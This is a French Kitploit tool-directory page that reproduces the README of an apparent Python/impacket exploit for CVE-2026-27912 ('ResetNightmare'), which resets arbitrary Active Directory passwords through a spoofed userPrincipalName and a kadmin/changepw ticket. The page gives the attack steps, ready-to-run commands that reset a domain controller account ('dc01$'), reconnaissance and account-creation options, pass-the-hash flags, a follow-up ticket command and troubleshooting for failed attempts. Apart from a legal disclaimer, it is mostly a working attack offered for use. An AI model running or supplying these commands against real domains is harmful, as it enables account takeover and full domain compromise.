Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/mihat2/resetnightmare-impacket
Attaques de Mots de PasseAnalyse des VulnérabilitésExploitationCollecte d'InformationsTests d'IntrusionAuthentificationRed Teaming
GitHubmihat2/resetnightmare-impacket

ResetNightmare-impacket

CVE-2026-27912 (ResetNightmare) — port Linux/impacket du PoC Invoke-ResetNightmare de Semperis Community

Voir le dépôt
13il y a 8 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ResetNightmare — CVE-2026-27912

Outillage Linux / impacket pour CVE-2026-27912 (« ResetNightmare »). Réinitialise le mot de passe d'un compte Active Directory cible en demandant un TGT kadmin/changepw pour un principal NT_ENTERPRISE dont le nom est le sAMAccountName de la cible, en utilisant un compte (UPNUser) sur lequel nous pouvons écrire un faux userPrincipalName.

Port Python de l'outil PowerShell Semperis Community Invoke-ResetNightmare (voir Crédits).

⚠️ Avertissement légal

Uniquement pour des tests de sécurité autorisés et un usage éducatif. Cet outil modifie de véritables identifiants Active Directory et peut verrouiller des comptes.

  • Exécutez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester (un engagement signé ou un laboratoire que vous contrôlez).
  • L'accès non autorisé à des systèmes informatiques est illégal (par exemple le CFAA des États-Unis, le Computer Misuse Act du Royaume-Uni et leurs équivalents) et peut entraîner des sanctions pénales et civiles.
  • Les auteurs déclinent toute responsabilité en cas d'utilisation abusive. Le logiciel est fourni « EN L'ÉTAT » — voir LICENSE. Si vous n'avez pas l'autorisation, ne l'exécutez pas.

Fonctionnement

  1. (facultatif) Créer UPNUser, s'accorder GenericAll, définir son mot de passe, l'activer.
  2. Résoudre le sAMAccountName de la cible.
  3. Définir UPNUser.userPrincipalName = <targetSAN> (le faux UPN).
  4. AS-REQ en tant que NT_ENTERPRISE '<targetSAN>' pour kadmin/changepw — le KDC mappe l'UPN d'entreprise vers la cible et émet un TGT de changement de mot de passe pour celle-ci.
  5. Effacer le faux UPN.
  6. kpasswd change-password avec ce TGT → définit le mot de passe de la cible.
  7. Restaurer l'UPN d'origine d'UPNUser.

Installation

root@kitploit:~
python3 -m venv venv
./venv/bin/pip install -r requirements.txt

Utilisation

Les identifiants de l'opérateur sont le premier argument positionnel : [domain/]username[:password]. Tout mot de passe peut être omis et il vous sera demandé de le saisir.

Recon — de quoi ce compte peut-il abuser ? Signale les comptes sur lesquels vous pouvez écrire un UPN, les UO dans lesquelles vous pouvez créer des objets, ainsi que la MachineAccountQuota, avec des commandes suggérées :

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

Réinitialiser une cible en utilisant un compte sur lequel vous pouvez écrire un UPN :

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Créer d'abord le compte UPN (nécessite le droit Create Child sur l'UO, et LDAPS) :

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'Cr34ted#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Ajoutez -debug pour une journalisation détaillée des AS-REQ / LDAP / kpasswd.

Options

Les mots de passe sont demandés de manière interactive lorsqu'ils sont omis.

Dépannage

Échecs de --create-new-path :

Notes :

  • LDAPS est activé par défaut. AD n'accepte les écritures de unicodePwd que via TLS, donc --create-new-path en a besoin. N'utilisez --no-ssl que pour les chemins en lecture seule ou limités à l'UPN.
  • --find ne signale que les ACE allow accordées à vous ou à vos groupes (plus la propriété d'objets et MachineAccountQuota) ; les ACE deny et les appartenances inter-domaines ne sont pas entièrement évaluées. Un résultat vide ne prouve pas l'absence de chemin — vérifiez avant utilisation.

Après la réussite

L'outil affiche une commande de suivi pour obtenir un ticket utilisable en tant que cible :

root@kitploit:~
getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'

Crédits

  • Semperis Community — ResetNightmare — recherche originale et outil PowerShell Invoke-ResetNightmare dont ce projet est un port.
  • impacket — primitives Kerberos et ldaptypes.
  • ldap3 — le client LDAP.

Port communautaire indépendant ; ni affilié à ni approuvé par Semperis.

Licence

MIT © 2026 mihat2.

Télécharger l’outil
FlagMeaning
<positional>Identifiants de l'opérateur : [domain/]username[:password]
--target-accountsAMAccountName à réinitialiser (les comptes d'ordinateur se terminent par $)
--target-new-passwordNouveau mot de passe à définir sur la cible
--upn-userCompte sur lequel écrire le faux UPN (ou à créer avec --create-new-path)
--upn-user-passwordMot de passe en clair de --upn-user
--computerTraiter --upn-user comme un compte d'ordinateur
--create-new-path <DN>UO/conteneur dans lequel créer --upn-user en premier (nécessite LDAPS)
--findRecon : signaler les comptes/UO exploitables + commandes suggérées, puis quitter
--list-ousLister les UO/conteneurs et quitter (choisir un --create-new-path valide)
--aes-key <hex>Clé AES de --upn-user pour l'AS-REQ au lieu d'un mot de passe
--upn-user-hash <NT>Hash NT (ou LM:NT) de --upn-user pour l'AS-REQ au lieu d'un mot de passe
-k, --kerberosBind LDAP Kerberos (SASL/GSSAPI) (utilise KRB5CCNAME)
-H LM:NTBind LDAP pass-the-hash (NTLM)
--no-passNe pas demander de mot de passe (utiliser -k / KRB5CCNAME)
--dc-hostNom d'hôte/FQDN du DC (pour les SPN Kerberos)
--dc-ipAdresse IP du DC
--no-sslLDAP/389 en clair (incompatible avec --create-new-path)
--supported-encryptionEnctype préféré, informatif (défaut aes256)
-debugJournalisation détaillée
SymptômeCauseSolution
result 50, insufficientAccessRightsL'UO existe mais vous n'avez pas le droit Create Child sur celle-ci.Utilisez une UO sur laquelle vous pouvez écrire (--list-ous / --find), ou abandonnez --create-new-path et exploitez un compte existant via --upn-user.
result 32, noSuchObject — best match: DC=corp,DC=localLa chaîne parente du DN n'existe pas (DN partiel ou deviné).Énumérez avec --list-ous et collez le DN imbriqué complet. Les UO sont imbriquées ; un nom seul n'est pas son chemin.
result 53, unwillingToPerform à l'étape du mot de passeÉcriture de unicodePwd sur un canal non-TLS, ou mot de passe faible par rapport à la stratégie.Conservez LDAPS (ne passez pas --no-ssl) ; utilisez un mot de passe conforme.